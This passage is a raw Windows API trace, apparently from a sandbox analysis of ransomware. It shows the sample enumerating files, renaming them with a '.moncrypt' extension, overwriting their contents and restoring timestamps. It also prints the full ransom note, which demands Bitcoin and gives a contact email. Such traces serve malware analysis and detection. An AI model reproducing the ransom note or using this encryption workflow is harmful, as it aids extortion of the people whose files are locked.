shared\\grphflt\\") returned 0x37 [0042.030] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=13, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="\\trend micro\\me information\\pdata\\roaming\\eft SQL Server Compact Edition\\ition\\") returned 13 [0042.030] GlobalLock (hMem=0x44000c) returned 0x550170 [0042.030] GlobalHandle (pMem=0x550170) returned 0x44000c [0042.030] GlobalUnlock (hMem=0x44000c) returned 0 [0042.030] GlobalLock (hMem=0x44000c) returned 0x550170 [0042.030] GlobalLock (hMem=0x440004) returned 0x552180 [0042.030] GlobalHandle (pMem=0x550170) returned 0x44000c [0042.030] GlobalUnlock (hMem=0x44000c) returned 0 [0042.030] GlobalHandle (pMem=0x552180) returned 0x440004 [0042.030] GlobalUnlock (hMem=0x440004) returned 0 [0042.030] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e61cf8, cbMultiByte=3, lpWideCharStr=0x18ddd8, cchWideChar=2047 | out: lpWideCharStr="*.* SQL Server Compact Edition\\ition\\") returned 3 [0042.030] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\*.*", lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc25b4860, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc25b4860, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e1c0 [0042.031] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc25b4860, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc25b4860, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0042.031] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeec79e70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x1a9b, dwReserved0=0x0, dwReserved1=0x0, cFileName="CGMIMP32.CFG", cAlternateFileName="")) returned 1 [0042.031] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc8 | out: lpLocalFileTime=0x18edc8) returned 1 [0042.031] FileTimeToDosDateTime (in: lpFileTime=0x18edc8, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0042.031] GlobalLock (hMem=0x440004) returned 0x551178 [0042.031] GlobalHandle (pMem=0x551178) returned 0x440004 [0042.031] GlobalUnlock (hMem=0x440004) returned 0 [0042.031] GlobalLock (hMem=0x440004) returned 0x551178 [0042.031] GlobalLock (hMem=0x44000c) returned 0x553188 [0042.031] GlobalHandle (pMem=0x551178) returned 0x440004 [0042.031] GlobalUnlock (hMem=0x440004) returned 0 [0042.031] GlobalHandle (pMem=0x553188) returned 0x44000c [0042.032] GlobalUnlock (hMem=0x44000c) returned 0 [0042.032] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0042.032] CharLowerBuffW (in: lpsz="CGMIMP32.CFG", cchLength=0xc | out: lpsz="cgmimp32.cfg") returned 0xc [0042.032] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gí\x18", lpUsedDefaultChar=0x0) returned 1 [0042.032] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fí\x18", lpUsedDefaultChar=0x0) returned 1 [0042.032] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cí\x18", lpUsedDefaultChar=0x0) returned 1 [0042.032] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0042.032] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="2", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="2í\x18", lpUsedDefaultChar=0x0) returned 1 [0042.032] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="3", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="3í\x18", lpUsedDefaultChar=0x0) returned 1 [0042.032] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pí\x18", lpUsedDefaultChar=0x0) returned 1 [0042.032] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mí\x18", lpUsedDefaultChar=0x0) returned 1 [0042.032] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ií\x18", lpUsedDefaultChar=0x0) returned 1 [0042.032] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mí\x18", lpUsedDefaultChar=0x0) returned 1 [0042.032] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gí\x18", lpUsedDefaultChar=0x0) returned 1 [0042.032] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cí\x18", lpUsedDefaultChar=0x0) returned 1 [0042.032] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18dd64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0042.032] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG", cchWideChar=67, lpMultiByteStr=0x18dd40, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG", lpUsedDefaultChar=0x0) returned 67 [0042.032] CharLowerBuffW (in: lpsz=".CFG", cchLength=0x4 | out: lpsz=".cfg") returned 0x4 [0042.032] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".cfg", cchWideChar=4, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".cfgShared\\GRPHFLT\\CGMIMP32.CFG", lpUsedDefaultChar=0x0) returned 4 [0042.033] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfda4ec00, ftCreationTime.dwHighDateTime=0x1cba021, ftLastAccessTime.dwLowDateTime=0xc22488c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xfda4ec00, ftLastWriteTime.dwHighDateTime=0x1cba021, nFileSizeHigh=0x0, nFileSizeLow=0x4f160, dwReserved0=0x0, dwReserved1=0x0, cFileName="CGMIMP32.FLT", cAlternateFileName="")) returned 1 [0042.033] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0042.033] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0042.033] GlobalLock (hMem=0x44000c) returned 0x551178 [0042.033] GlobalHandle (pMem=0x551178) returned 0x44000c [0042.033] GlobalUnlock (hMem=0x44000c) returned 0 [0042.033] GlobalLock (hMem=0x44000c) returned 0x551178 [0042.033] GlobalLock (hMem=0x440004) returned 0x553188 [0042.033] GlobalHandle (pMem=0x551178) returned 0x44000c [0042.033] GlobalUnlock (hMem=0x44000c) returned 0 [0042.033] GlobalHandle (pMem=0x553188) returned 0x440004 [0042.033] GlobalUnlock (hMem=0x440004) returned 0 [0042.033] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0042.033] CharLowerBuffW (in: lpsz="CGMIMP32.FLT", cchLength=0xc | out: lpsz="cgmimp32.flt") returned 0xc [0042.033] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tí\x18", lpUsedDefaultChar=0x0) returned 1 [0042.033] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lí\x18", lpUsedDefaultChar=0x0) returned 1 [0042.033] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fí\x18", lpUsedDefaultChar=0x0) returned 1 [0042.033] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0042.033] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="2", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="2í\x18", lpUsedDefaultChar=0x0) returned 1 [0042.033] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="3", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="3í\x18", lpUsedDefaultChar=0x0) returned 1 [0042.033] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pí\x18", lpUsedDefaultChar=0x0) returned 1 [0042.033] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mí\x18", lpUsedDefaultChar=0x0) returned 1 [0042.033] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ií\x18", lpUsedDefaultChar=0x0) returned 1 [0042.034] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mí\x18", lpUsedDefaultChar=0x0) returned 1 [0042.034] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gí\x18", lpUsedDefaultChar=0x0) returned 1 [0042.034] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cí\x18", lpUsedDefaultChar=0x0) returned 1 [0042.034] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18dd64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0042.034] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT", cchWideChar=67, lpMultiByteStr=0x18dd40, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT", lpUsedDefaultChar=0x0) returned 67 [0042.034] CharLowerBuffW (in: lpsz=".FLT", cchLength=0x4 | out: lpsz=".flt") returned 0x4 [0042.034] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".flt", cchWideChar=4, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".fltShared\\GRPHFLT\\CGMIMP32.FLT", lpUsedDefaultChar=0x0) returned 4 [0042.034] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\я" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\я"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0042.034] WriteFile (in: hFile=0x188, lpBuffer=0x1e61d08*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18ed70, lpOverlapped=0x0 | out: lpBuffer=0x1e61d08*, lpNumberOfBytesWritten=0x18ed70*=0x1, lpOverlapped=0x0) returned 1 [0042.035] CloseHandle (hObject=0x188) returned 1 [0042.035] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\я" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\я")) returned 1 [0042.036] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT", lpFindFileData=0x18eb04 | out: lpFindFileData=0x18eb04*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfda4ec00, ftCreationTime.dwHighDateTime=0x1cba021, ftLastAccessTime.dwLowDateTime=0xc22488c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xfda4ec00, ftLastWriteTime.dwHighDateTime=0x1cba021, nFileSizeHigh=0x0, nFileSizeLow=0x4f160, dwReserved0=0x0, dwReserved1=0x0, cFileName="CGMIMP32.FLT", cAlternateFileName="")) returned 0x54e200 [0042.036] FileTimeToLocalFileTime (in: lpFileTime=0x18eb18, lpLocalFileTime=0x18ea30 | out: lpLocalFileTime=0x18ea30) returned 1 [0042.036] FileTimeToDosDateTime (in: lpFileTime=0x18ea30, lpFatDate=0x18eae6, lpFatTime=0x18eae4 | out: lpFatDate=0x18eae6, lpFatTime=0x18eae4) returned 1 [0042.036] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0042.037] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT", dwFileAttributes=0x20) returned 1 [0042.340] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18da40, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0042.341] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.flt"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.flt.moncrypt")) returned 1 [0042.341] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.flt.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0042.341] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x0 [0042.342] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x4f160 [0042.342] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x0 [0042.342] ReadFile (in: hFile=0x188, lpBuffer=0x1dbe1a8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x18ea34, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesRead=0x18ea34*=0x4000, lpOverlapped=0x0) returned 1 [0042.436] GlobalLock (hMem=0x440004) returned 0x551178 [0042.437] GlobalLock (hMem=0x44000c) returned 0x557188 [0042.437] GlobalHandle (pMem=0x557188) returned 0x44000c [0042.439] GlobalUnlock (hMem=0x44000c) returned 0 [0042.459] GlobalReAlloc (hMem=0x44000c, dwBytes=0x4000, uFlags=0x2) returned 0x44000c [0042.459] GlobalLock (hMem=0x44000c) returned 0x557188 [0042.459] GlobalHandle (pMem=0x557188) returned 0x44000c [0042.459] GlobalUnlock (hMem=0x44000c) returned 0 [0042.459] GlobalReAlloc (hMem=0x44000c, dwBytes=0x6000, uFlags=0x2) returned 0x44000c [0042.460] GlobalLock (hMem=0x44000c) returned 0x557188 [0042.460] GlobalHandle (pMem=0x551178) returned 0x440004 [0042.460] GlobalUnlock (hMem=0x440004) returned 0 [0042.460] GlobalHandle (pMem=0x557188) returned 0x44000c [0042.460] GlobalUnlock (hMem=0x44000c) returned 0 [0042.460] GlobalLock (hMem=0x44000c) returned 0x551178 [0042.460] GlobalHandle (pMem=0x551178) returned 0x44000c [0042.460] GlobalUnlock (hMem=0x44000c) returned 0 [0042.460] GlobalReAlloc (hMem=0x44000c, dwBytes=0x6000, uFlags=0x2) returned 0x44000c [0042.460] GlobalLock (hMem=0x44000c) returned 0x551178 [0042.461] GlobalHandle (pMem=0x551178) returned 0x44000c [0042.461] GlobalUnlock (hMem=0x44000c) returned 0 [0042.461] ReadFile (in: hFile=0x188, lpBuffer=0x1e39128, nNumberOfBytesToRead=0x20, lpNumberOfBytesRead=0x18ea34, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesRead=0x18ea34*=0x20, lpOverlapped=0x0) returned 1 [0042.461] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea28*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ea28*=0) returned 0x0 [0042.461] WriteFile (in: hFile=0x188, lpBuffer=0x1dbe1a8*, nNumberOfBytesToWrite=0x4020, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesWritten=0x18ea30*=0x4020, lpOverlapped=0x0) returned 1 [0042.461] SetFilePointer (in: hFile=0x188, lDistanceToMove=323936, lpDistanceToMoveHigh=0x18ea28*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ea28*=0) returned 0x4f160 [0042.461] WriteFile (in: hFile=0x188, lpBuffer=0x1e39128*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesWritten=0x18ea30*=0x20, lpOverlapped=0x0) returned 1 [0042.578] WriteFile (in: hFile=0x188, lpBuffer=0x18eaac*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x18eaac*, lpNumberOfBytesWritten=0x18ea30*=0x8, lpOverlapped=0x0) returned 1 [0042.578] WriteFile (in: hFile=0x188, lpBuffer=0x1e61d38*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1e61d38*, lpNumberOfBytesWritten=0x18ea30*=0x1, lpOverlapped=0x0) returned 1 [0042.590] WriteFile (in: hFile=0x188, lpBuffer=0x1dbe1c8*, nNumberOfBytesToWrite=0x9c, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesWritten=0x18ea30*=0x9c, lpOverlapped=0x0) returned 1 [0042.590] CloseHandle (hObject=0x188) returned 1 [0042.595] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.flt.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0042.595] SetFileTime (hFile=0x188, lpCreationTime=0x18ead4, lpLastAccessTime=0x18eacc, lpLastWriteTime=0x18eac4) returned 1 [0042.595] CloseHandle (hObject=0x188) returned 1 [0042.595] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT.moncrypt", dwFileAttributes=0x20) returned 1 [0042.596] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18dd68, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0042.596] GlobalLock (hMem=0x44000c) returned 0x551178 [0042.596] GlobalHandle (pMem=0x551178) returned 0x44000c [0042.596] GlobalUnlock (hMem=0x44000c) returned 0 [0042.596] GlobalLock (hMem=0x44000c) returned 0x551178 [0042.596] GlobalLock (hMem=0x440004) returned 0x553188 [0042.596] GlobalHandle (pMem=0x551178) returned 0x44000c [0042.596] GlobalUnlock (hMem=0x44000c) returned 0 [0042.596] GlobalHandle (pMem=0x553188) returned 0x440004 [0042.596] GlobalUnlock (hMem=0x440004) returned 0 [0042.596] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0042.596] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18eb1c | out: lpFindFileData=0x18eb1c*(dwFileAttributes=0x500000, ftCreationTime.dwLowDateTime=0x553188, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x1e69838, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0xbf4c5bf0, ftLastWriteTime.dwHighDateTime=0x5664e257, nFileSizeHigh=0x387e4e42, nFileSizeLow=0x555198, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="", cAlternateFileName="")) returned 0xffffffff [0042.597] GetLastError () returned 0x2 [0042.597] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\how to recover encrypted files.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0042.597] WriteFile (in: hFile=0x188, lpBuffer=0x1dcc6d8*, nNumberOfBytesToWrite=0x649, lpNumberOfBytesWritten=0x18ed24, lpOverlapped=0x0 | out: lpBuffer=0x1dcc6d8*, lpNumberOfBytesWritten=0x18ed24*=0x649, lpOverlapped=0x0) returned 1 [0042.598] CloseHandle (hObject=0x188) returned 1 [0042.598] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeec79e70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x93f6e, dwReserved0=0x0, dwReserved1=0x0, cFileName="CGMIMP32.FNT", cAlternateFileName="")) returned 1 [0042.598] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0042.598] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0042.598] GlobalLock (hMem=0x440004) returned 0x551178 [0042.598] GlobalHandle (pMem=0x551178) returned 0x440004 [0042.598] GlobalUnlock (hMem=0x440004) returned 0 [0042.598] GlobalLock (hMem=0x440004) returned 0x551178 [0042.598] GlobalLock (hMem=0x44000c) returned 0x553188 [0042.598] GlobalHandle (pMem=0x551178) returned 0x440004 [0042.598] GlobalUnlock (hMem=0x440004) returned 0 [0042.598] GlobalHandle (pMem=0x553188) returned 0x44000c [0042.598] GlobalUnlock (hMem=0x44000c) returned 0 [0042.598] 